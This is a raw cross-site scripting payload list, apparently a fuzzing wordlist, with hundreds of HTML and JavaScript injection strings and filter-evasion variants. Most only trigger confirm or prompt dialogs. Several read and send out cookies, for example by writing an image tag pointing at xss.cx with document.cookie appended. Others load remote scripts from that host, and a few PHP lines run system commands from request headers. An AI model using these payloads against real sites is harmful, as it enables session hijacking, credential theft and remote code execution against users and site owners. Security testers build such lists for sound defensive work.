<*datahtmlelements* data=about:blank background=about:blank action=about:blank type=image/gif src=about:blank href=about:blank *dataevents*="customLog('*datahtmlelements* *dataevents*')"></*datahtmlelements*>
<*datahtmlelements* *dataevents*="javascript:parent.customLog('*datahtmlelements* *dataevents*')"></*datahtmlelements*>
<*datahtmlelements* *datahtmlattributes*="javascript:parent.customLog('*datahtmlelements* *datahtmlattributes*')"></*datahtmlelements*>
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="confirm(1)">x</button>?f
<div contextmenu=x>right-click<menu id=x onshow=confirm(1)>
<div id="confirm(2)" style="x:expression(eval)(id)">
<div onmouseover='confirm(1)'>DIV</div>
<div style="color:rgb(''�x:expression(confirm(URL=1))"></div>
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="confirm(1)">x</button>
<%div%20style=xss:expression(prompt(1))>
<div/onmouseover='confirm(1)'> style="x:">
<div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=confirm(1)>Mouse Over</div>
<div/style="width:expression(confirm(1))">X</div>
<embed code="http://xss.cx/xss.swf" allowscriptaccess=always></embed>
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.cx/xss.js></SCRIPT>'"-->
for(i=10;i>1;i--)confirm(i);new ActiveXObject("WScript.shell").Run('calc.exe',1,true);
<form action='data:text/html,<script>confirm(1)</script>'><button>CLICK
<form action='java	scri	pt:confirm(1)'><button>CLICK
<form action="javas	cript:confirm(1)" method="get"><input type="submit" value="Submit"></form>
<form id="myform" value="" action=javascript	:eval(document.getElementById('myform').elements[0].value)><textarea>confirm(1)</textarea><input type="submit" value="Absenden"></form>
<form name=location >
<form/action=ja	vascr	ipt:confirm(document.cookie)><button/type=submit>
<form/action=javascript:eval(setTimeout(confirm(1)))><input/type=submit>
//<form/action=javascript:confirm(document.cookie)><input/type='submit'>//
<form><button formaction=javascript:confirm(1)>CLICKME
<form><iframe 	  src="javascript:confirm(1)" 	;>
<form><input type=submit formaction=//xss.cx><textarea name=x>
<frameset><frame/src=//xss.cx>
>
>
http://www.google<script .com>confirm(document.location)</script
http://www.<script abc>setTimeout('confirm(1)',1)</script .com>
http://www.<script>confirm(1)</script .com
<!--[if WindowsEdition]><script>confirm(location);</script><![endif]-->
<!--[if<img src=x:x onerror=confirm(5)//]-->
<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); confirm(Safe.get());</script>
<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Bconfirm%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe>
<iframe src="" onmouseover="confirm(document.cookie)">
<iframe src="#" style=width:exp/**/ressi/**/on(confirm(1))>
<iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src="data:D,<script>confirm(top.document.body.innerHTML)</script>">
<iframe src="data:message/rfc822,Content-Type: text/html;%0aContent-Transfer-Encoding: quoted-printable%0a%0a=3CSCRIPT=3Econfirm(document.location)=3C/SCRIPT=3E"></iframe>
<iframe srcdoc='<svg/onload=confirm(3)>'>
<iframe srcdoc="<svg/onload=confirm(domain)>">
<iframe src="http://xss.cx?x=<iframe name=x></iframe>"></iframe><a href="http://xss.ms" target=x id=x></a><script>window.onload=function(){x.click()}</script>
<iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){confirm(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
<iframe src=javascript:confirm(document.location)>
<iframe src="javascript:'<script src=http://xss.cx ></script>'"></iframe>
"><iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<iframe width=0 height=0 src="javascript:confirm(1)">
<iframe/%00/ src=javaSCRIPT:confirm(1)
iframe.contentWindow.location.constructor.prototype
<iframe><iframe src=javascript:confirm(4)></iframe>
<iframe/name="if(0){\u0061lert(1)}else{\u0061lert(1)}"/onload="eval(name)";>
<iframe/name="if(0){\u0061lert(1)}else{\u0061lert(1)}"/onload="eval(name)";>
"><iframe/onreadystatechange=confirm(1)
<iframe/onreadystatechange=confirm(1)
"><iframe/src \/\/onload = prompt(1)
<iframe/src="data:text/html,<svg onload=confirm(1)>">
<iframe/src=j	av	as	cri	pt	:co	nfir	m	(		1	)>
<iframe/src='javascript:if(null==null){javascript:0?1:confirm(1);}'>
<!--[if]><script>confirm(1)</script -->
<img language=vbs src=<b onerror=confirm#1/1#>
"><img src="/" =_=" title="onerror='prompt(1)'">
<img src ?itworksonchrome?\/onerror = confirm(1)
<img src ?itworksonchrome?\/onerror = confirm(1)???
“><img src= onerror=confirm(1)>
<img src=//\ onload=confirm(1)>
<img src=`%00`
 onerror=confirm(1)

<img src=1 onerror=Function("aler"+"t(documen"+"t.domain)")()>
"]<img src=1 onerror=confirm(1)>
/#<img src=1 onerror=javascript:confirm(3)>
<img src=a onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,67,104,101,97,116,115,111,110,39,41))>
<img src=http://www.google.fr/images/srpr/logo3w.png onload=confirm(this.ownerDocument.cookie) width=0 height= 0 /> #
"><img src=javascript:while([{}]);>
<img src=javascript:while([{}]);>
<img/ src//'onerror/''/=confirm(1)//'>
<img src=test.jpg?value=">Yes, we are still inside a tag!">
<img src=x on*chr*Error="javascript:log(*num*)"/>
<img src=x onerror=URL='javascript:confirm(1)'>
"\"><img src=\"x\" onerror=\"confirm(0)\"/>",
><img src=\"x\" onerror=\"confirm(0)\"/>
<img src=x onerror='confirm(domain+/ -- /+cookie)'>">
"><img src=x onerror=confirm('x') />]
"><img src=x onerror=confirm(1); ...
"><img src=x onerror=prompt(document.location);>#"><img src=x onerror=prompt(document.location);>
"><img src=x onerror=prompt("xss");>#"><img src=x onerror=prompt("xss");>
"<img src=x onerror=x.onerror=confirm(1);prompt(2);confirm(/XSS/.source);prompt(String.fromCharCode(88,83,83))>"
"\"><img src=x onerror=x.onerror=confirm(1);prompt(2);confirm(/XSS/.source);prompt(String.fromCharCode(88,83,83))>",
<img src=x onerror=x.onerror=confirm(1);prompt(2);confirm(/XSS/.source);prompt(String.fromCharCode(88,83,83))>
><img src=x onerror=x.onerror=confirm(1);prompt(2);confirm(/XSS/.source);prompt(String.fromCharCode(88,83,83))>
"<img src=x onerror=x.onerror=m='%22%3E%3Cimg%20src%3Dx%20onerror%3Dx.onerror%3Dprompt%28/xss/.source%29%3E';d=unescape(m);document.write(d);prompt(String.fromCharCode(88,83,83))>"
<img src=x onerror=x.onerror=m='%22%3E%3Cimg%20src%3Dx%20onerror%3Dx.onerror%3Dprompt%28/xss/.source%29%3E';d=unescape(m);document.write(d);prompt(String.fromCharCode(88,83,83))>
"/><img src=x onerror=x.onerror=prompt(0)>
"\"/><img src=x onerror=x.onerror=prompt(0)>"
"/><img src=x onerror=x.onerror=prompt(/xss/.source);confirm(0);confirm(1)>
"\"/><img src=x onerror=x.onerror=prompt(/xss/.source);confirm(0);confirm(1)>"
<![<img src=x:x onerror=`confirm(2)//`]-->
<img src=xx: onerror=confirm(document.location)>
"><img src="xx:x" alt="``onerror=confirm(1)"><script>document.body.innerHTML+=''</script>
<img src="xx:x" alt="``onerror=confirm(1)"><script>document.body.innerHTML+=''</script>
"<img src=`xx:xx` onerror=confirm(/XSS/.source);confirm(1)>"
"\"><img src=`xx:xx` onerror=confirm(/XSS/.source);confirm(1)>",
<img src=`xx:xx` onerror=confirm(/XSS/.source);confirm(1)>
><img src=`xx:xx` onerror=confirm(/XSS/.source);confirm(1)>
<img src=xx:xx onerror=window[['logChr*chr*']](*num*)>
<img src=`xx:xx`onerror=confirm(1)>
>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;confirm(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
"<img/src=` onerror=confirm(1)>"
<img/src=` onerror=confirm(1)>
"><--`<img/src=` onerror=confirm(1)> --!>
<--`<img/src=` onerror=confirm(1)> --!>
<img/src=%00 id=confirm(1) onerror=eval(id)
<img/src=`%00` /id=confirm(1) /onerror=eval(id)
<img/src=x alt=confirm(1) onmouseover=eval(alt)>
"\"><imgsrc=x onerror=confirm.onerror=confirm(1)>",
><imgsrc=x onerror=confirm.onerror=confirm(1)>
<img/src="x"/id="javascript"/name=":confirm"/alt="(1)"/onerror="eval(id + name + alt)">
=’”><img/src=”x”onerror=eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,108,83,116,111,114,97,103,101,46,115,101,116,73,116,101,109,40,39,105,100,39,44,39,34,62,60,105,109,103,47,115,114,99,61,92,34,120,92,34,111,110,101,114,114,111,114,61,97,108,101,114,116,40,49,41,62,39,41))>
'><img/src="x:x"/onerror="confirm(1)"'><
innerHTML=document.title
innerHTML=innerText
<input autofocus onfocus=confirm(1)>
<input formaction=JaVaScript:confirm(document.cookie)>
<input id=x><input id=x><script>confirm(x)</script>
<><input onfocus=confirm(0) autofocus <!--
<input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaa!>
<input type=hidden onformchange=confirm(1)/>
<input type=hidden style=`x:expression(confirm(1))`>
<input type=hidden style=`x:expression(confirm(4))`>
<input type="text" name="a"
<input type="text" value=`` <div/onmouseover='confirm(1)'>X</div>
<input type="text" value=``<div/onmouseover='confirm(1)'>X</div>
"><input value=<><iframe/src=javascript:confirm(1)
input1=<script/&in%u2119ut1=>al%u0117rt('1')</script>
<i/onclick=URL=name>
"/><isindex action="javas	cript:confirm(1)" type=image>
"><isindex action="javas	cript:confirm(1)" type=image>
<isindex action="javas	cript:confirm(1)" type=image>
<isindex action="javas	cript:confirm(document.cookie)" type=image>
<isindex formaction=javascript:confirm(1)>
<label class="<% confirm(1) %>">
<li style="color:rgb(''0,0,�javascript:expression(confirm(1))">XSS</li>
<link rel="import" href="//xss.cx">
<link rel=import onerror=confirm(1)>
<link rel="prefetch" href="http://xss.cx">
<link rel=stylesheet href='data:,+/v8*%7bx:e+AHgAcA-ression(confirm(1))%7D' >
<link%20rel="import"%20href="?bypass=<script>confirm(document.domain)</script>">
<listing><img src=x onerror=confirm(1)></listing>
<a href="http://i.imgur.com/b7sajuK.jpg" download><a href="http://i.imgur.com/b7sajuK.jpg" download>What a cute kitty!</a></a>
<img src=xx:x onerror=confirm(1)><script>document.body.innerHTML=document.body.innerText||document.body.textContent</script>
<label class="<% confirm(1) %>">
</script><script>confirm(1)</script>
<marquee onstart='javascript:confirm(1)'>^__^
"><marquee>confirm( `bypass :)`)</marquee>
"<marquee/onstart=confirm(/XSS/.source);confirm(1)>"
"\"><marquee/onstart=confirm(/XSS/.source);confirm(1)>",
<marquee/onstart=confirm(/XSS/.source);confirm(1)>
><marquee/onstart=confirm(/XSS/.source);confirm(1)>
<math><a/xlink:href=javascript:confirm(1)>click
<math><a/xlink:href=javascript:eval('\141\154\145\162\164\50\61\51')>X
<meta charset="x-mac-farsi">¼script ¾confirm(1)//¼/script ¾
<meta content="
 1 
; JAVASCRIPT: confirm(1)" http-equiv="refresh"/>
<meta http-equiv=refresh content="0 javascript:confirm(1)">
"><meta http-equiv="refresh" content="0;javascript:confirm(1)"/>
<meta http-equiv="refresh" content="0;javascript:confirm(1)"/>
<meta http-equiv="refresh" content="0;javascript:confirm(1)"/>?
<meta http-equiv=refresh content=+.1,javascript:confirm(document.cookie)>
?movieName=";]);}catch(e){}if(!self.a)self.a=!confirm(document.domain);//
"\"\/><object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4='></object>"
><object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4='></object>"
<object data='data:text/xml,<script xmlns="http://www.w3.org/1999/xhtml ">confirm(1)</script>>'>
"><object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
"/><object data=javascript:\u0061le%72t(1)>
"/><object type='text/x-html' data='javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x'></object>
"<object type='text/x-html' data='javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x'></object>"
"><object type='text/x-html' data='javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x'></object>",
<object type='text/x-html' data='javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x'></object>
"/><object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
/*-->]]]]><![CDATA[>%>?></object></script></title></textarea></noscript></style></xmp>'-/"///><img id="b1" src=1 onerror='$.getScript("http://xss.cx.js", function() { c(); });'>'
"<option>'><button><img src=x onerror=confirm(0);></button></option>"
<option>'><button><img src=x onerror=confirm(0);></button></option>
"\"\/><option>'><button><img src=x onerror=confirm(1);></button></option>",
><option>'><button><img src=x onerror=confirm(1);></button></option>
<p hidden?={{hidden}}>123</p>
<p style="font-family:'foo&#x5c;27&#x5c;3bx:expr&#x65;ession(confirm(1))'">
?param1=<script>prompt(9);/*¶m2=*/</script>
$.parseHTML('<img src=xx:X onerror=confirm(1)>')
<?php echo $_SERVER['PHP_SELF']?>
?playerID=a\";))}catch(e){confirm(document.domain)}//
${@print(system($_SERVER['HTTP_USER_AGENT']))}
${@print(system(“whoami”))}
<q/oncut=confirm()
'/><q/oncut=open()>//
<q/oncut=open()>
>"><script>confirm('hi')</script>"<</a>value=""><script>confirm('hi')</script>"<"/>
.replace(/.+/,eval)//
<s "'"="" 000="">
"'"><s/000 "'"><s/000
"'"><s/000 "'"><s/000
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
<s[NULL]cript>confirm(1)</s[NULL]cript>'>Clickme</a>
<sVg><scRipt %00>confirm(1)
<<scr\0ipt/src=http://xss.cx/xss.js></script
<scri%00ipt>confirm(0);</script>
<scri%00pt>confirm(1);</scri%00pt>
"<scri%00pt>confirm(0);</scri%00pt>"
"\"><scri%00pt>confirm(0);</scri%00pt>",
<scri%00pt>confirm(0);</scri%00pt>
><scri%00pt>confirm(0);</scri%00pt>
<script>/* */confirm(1)/* */</script>
<script> function b() { return Safe.get(); } confirm(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script>
<script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) confirm(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> #
<script> (function (o) { function exploit(x) { if (x !== null) confirm('User cookie is ' %2B x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script>
<script /*%00*/>/*%00*/confirm(1)/*%00*/</script /*%00*/
<script ~~~>confirm(0%0)</script ~~~>
<script ^__^>confirm(String.fromCharCode(49))</script ^__^
'"`><script>/* **chr*log(*num*)// */</script>
<script>/* **chr*/log(*num*)// */</script>
<script> document.getElementById(%22safe123%22).click=function()+{confirm(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script>
<script for=_ event=onerror()>confirm(/@ma1/)</script><img id=_ src=>
<script itworksinallbrowsers>/*<script* */confirm(1)</script
<script itworksinallbrowsers>/*<script* */confirm(1)</script ?
<script> logChr0x09(1); </script>
<script src=>confirm(8)</script>
"/><script src="data:text/javascript,confirm(1)"></script>
<script src="data:text/javascript,confirm(1)"></script>
"<script src='data:text/javascript,prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x'></script>"
"\"><script src='data:text/javascript,prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x'></script>",
<script src='data:text/javascript,prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x'></script>
><script src='data:text/javascript,prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x'></script>
<script type="text/xaml"><Canvas Loaded="confirm" /></script>
<script> "\ud83d\u*hex4*".match(/.*<.*/) ? log(*num*) : null; </script>
<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22); xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) ) confirm(c[1]); }catch(e){} }; xdr.send(); </script>
<script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById(%22safe123%22).click=function()+{confirm(Safe.get());} document.getElementById(%22safe123%22).click(test); </script>
"/><script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); confirm(RegExp.%241); } } xmlHttp.send(null); }; </script>#
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); confirm(RegExp.%241); } } xmlHttp.send(null); }; </script>
<script> var+x+=+showModelessDialog+(this); confirm(x.document.cookie); </script>
"/><script x> confirm(1) </script 1=2
<script x> confirm(1) </script 1=2
<script/%00%00v%00%00>confirm(/@jackmasa/)</script> and %c0″//(%000000%0dconfirm(1)//
<script>({0:#0=confirm/#0#/#0#(0)})</script>
<script>(0)['constructor']['constructor']("\141\154\145\162\164(1)")();</script>
"<script>1-confirm(0);</script>"/>
"/><script>+-+-1-+-+confirm(1)</script>
<script>+-+-1-+-+confirm(1)</script>
<script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});confirm(Safe.get())</script>
<script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});confirm(Safe.get())</script>
<script>a='abc\*chr*\';log(*num*)//def';</script>
"<script>'confirm(0)%3B<%2Fscript>"
"\"><script>'confirm(0)%3B<%2Fscript>",
<script>'confirm(0)%3B<%2Fscript>
><script>'confirm(0)%3B<%2Fscript>
"<script>confirm(0);</script>"
"><"script">"confirm(0)"</"script">
"\"><script>confirm(0)</script>",
<script>confirm(0);</script>
><script>confirm(0)</script>
"'><script>confirm(1)</script>",
<sc'+'ript>confirm(1)</script>
>"<>"<script>confirm(1)</script>
[<script>]=*confirm(1)</script>
∀㸀㰀script㸀confirm(1)㰀/script㸀
<%<!--'%><script>confirm(1);</script -->
"/><script>confirm(1);</script><img src=x onerror=x.onerror=prompt(0)>
"\"/><script>confirm(1);</script><img src=x onerror=x.onerror=prompt(0)>"
>"<>"<script>confirm(2)</script>
<script>confirm(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>
"<script>confirm(String.fromCharCode(88,83,83));</script>"
"\"><script>confirm(String.fromCharCode(88,83,83));</script>",
<script>confirm(String.fromCharCode(88,83,83));</script>
><script>confirm(String.fromCharCode(88,83,83));</script>
<script>/*confirm("Woops");*/</script>
<script>confirm(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script>
<script>confirm(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script>
<script>confirm(document.head.childNodes[3].text)</script>
<script>confirm(document.head.innerHTML.substr(146,20));</script>
>"><script>confirm(document.location)</script>&
<script>confirm(""no")</script>
<script>confirm(x.y[0])</script>
<script>confirm(x.y.x.y.x.y[0]);confirm(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);</script>
"'`><script>a=/xss;*chr*;i=0;log(*num*);a/i;</script>
"`'><script>*chr*log(*num*)</script>
<script>document.body.innerHTML="<h1>XSS-Here</h1>"</script>
<script>document.write(Array(184).join('<marquee>'))</script>
"/><script>document.write("<img src=//xss.cx/" + document.cookie + ">")</script>
<script>document.write("<img src=//xss.cx/" + document.cookie + ">")</script>
<script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });confirm(Safe.get.apply(null, arguments));})();</script>
<script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<script>if("x\*chr*".length==1) { log(*num*);}</script>
"`'><script>lo*chr*g(*num*)</script>
"'`><script>log*chr*(*num*)</script>
<script/onload=confirm(1)></script>
\"><script>prompt(1)</script>
</script><script>confirm(3)</script>
</script><script>/*var a="/*""'/**/;confirm(1);//</script>
<script>({set/**/$($){_/**/setter=$,_=1}}).$=confirm</script>
"/><script+src=data:,confirm(1)<!--
<script+src=data:,confirm(1)<!--
"/><script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=//xss.cx>/*
<script>str='';for(i=0;i<0xefff;i++){str+='<script>AAAAAA';};document.write('<svg>'+str+'</svg>');</script>
</script><svg '//"
</script><svg onload='-/"/-confirm(1)//'
</script><svg onload='-/"/-confirm(1)//'"
<script>try{eval("<></>");logBoolean(1)}catch(e){logBoolean(0)};</script>
<script/v>confirm(/@jackmasa/)</script>
<script>-{valueOf:location,toString:[].pop,0:'vbscript:confirm%281%29',length:1}</script>
<script>var location={};</script>
<script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){confirm(request.responseText.substr(150,41));}</script>
<script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); confirm(ta.value.match(/cookie = '(.*?)'/)[1])</script>
<script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>
<script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _confirm = confirm;confirm = function() { confirm = _confirm };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });confirm(get());})();};safe123.click();</script>#
`'"><script>window['log*chr*'](*num*)</script>
<script>x="confirm(1)".replace(/.+/,eval)//"</script>
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});confirm(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script>
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script>
<script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){confirm(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script>
<script>x=""!=prompt(9)!="";y=42;</script>
<script>x=""%prompt(9)%"";y=42;</script>
<script>x=""&&prompt(9)&&"";y=42;</script>
<script>x=""&prompt(9)&"";y=42;</script>
<script>x=""*prompt(9)*"";y=42;</script>
<script>x=""+prompt(9)+"";y=42;</script>
<script>x=""-prompt(9)-"";y=42;</script>
<script>x=""/prompt(9)/"";y=42;</script>
<script>x=""<<prompt(9)<<"";y=42;</script>
<script>x=""<=prompt(9)<="";y=42;</script>
<script>x=""<prompt(9)<"";y=42;</script>
<script>x=""===prompt(9)==="";y=42;</script>
<script>x=""==prompt(9)=="";y=42;</script>
<script>x="">=prompt(9)>="";y=42;</script>
<script>x="">>>prompt(9)>>>"";y=42;</script>
<script>x="">>prompt(9)>>"";y=42;</script>
<script>x="">prompt(9)>"";y=42;</script>
<script>x=""?prompt(9):"";y=42;</script>
<script>x=""^prompt(9)^"";y=42;</script>
<script>x=""|prompt(9)|"";y=42;</script>
<script>x=""||prompt(9)||"";y=42;</script>
"><scri<script></script>pt>confirm(document.cookie);</scri<script></script>pt>
<scri\x00pt>confirm(1);</scri%00pt>
setTimeout(['confirm(4)']);
<span id="x" data-constructor=oops></span><script>confirm(x.dataset.constructor)</script>
stop, open, print && confirm(1)
</style  ><script   :-(>/**/confirm(document.location)/**/</script   :-(
<style>body{font-size: 0;} h1{font-size: 12px !important;}</style><h1><?php echo "<hr />THIS IMAGE COULD ERASE YOUR WWW ACCOUNT, it shows you the PHP info instead...<hr />"; phpinfo(); __halt_compiler(); ?></h1>
<style>*{font-family:'Serif}';x[value=expression(confirm(URL=1));]{color:red}</style>
<style>*{-o-link:'data:text/html,<svg/onload=confirm(5)>';-o-link-source:current}</style><a href=1>aaa
<style/onload = !-confirm(1)>
<style/onload=confirm(1)>
<style/onload="javascript:if('[object Object]'=={}&&1==[1])confirm(1);">
<style/onload=<!--	> confirm (1)>
<style>p[foo=bar{}*{-o-link:'javascript:confirm(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>
<///style///><span %2F onmousemove='confirm(1)'>SPAN
<style>//<!--</style> -->*{x:expression(confirm(4))}//<style></style>
<svg contentScriptType=text/vbs><script>XSS
<svg id=1 onload=confirm(1)>
<svg onload=confirm(1)
"><svg onload="confirm(7)">
<svg onload="confirm(7)">
<svg onload=eval(URL)>
<svg onload=eval(document.cookie)>
<svg onload=eval(window.name)>
<svg xml:base="data:text/html,<script>confirm(1)</script>"><a xlink:href="#"><circle r="40"></circle></a></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:confirm(1)"></g></svg>
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:confirm(1)" begin="0s" dur="0.1s" fill="freeze"/>
<svg></ y="><x" onload=confirm(4)>
<svg><doh onload=confirm(1)>
<svg><image x:href="data:image/svg-xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='confirm(1)'%3E%3C/svg%3E">
"<svg/onload=confirm(0);prompt(0);>"
<svg/onload=confirm(0);prompt(0);>
<svg/onload=confirm(1)
"/><svg/onload=confirm(/XSS/.source);prompt(String.fromCharCode(88,83,83));prompt(0)>
"\"/><svg/onload=confirm(/XSS/.source);prompt(String.fromCharCode(88,83,83));prompt(0)>"
<svg/onload='javascript0x00:void(0)%00?void(0):confirm(1)'>
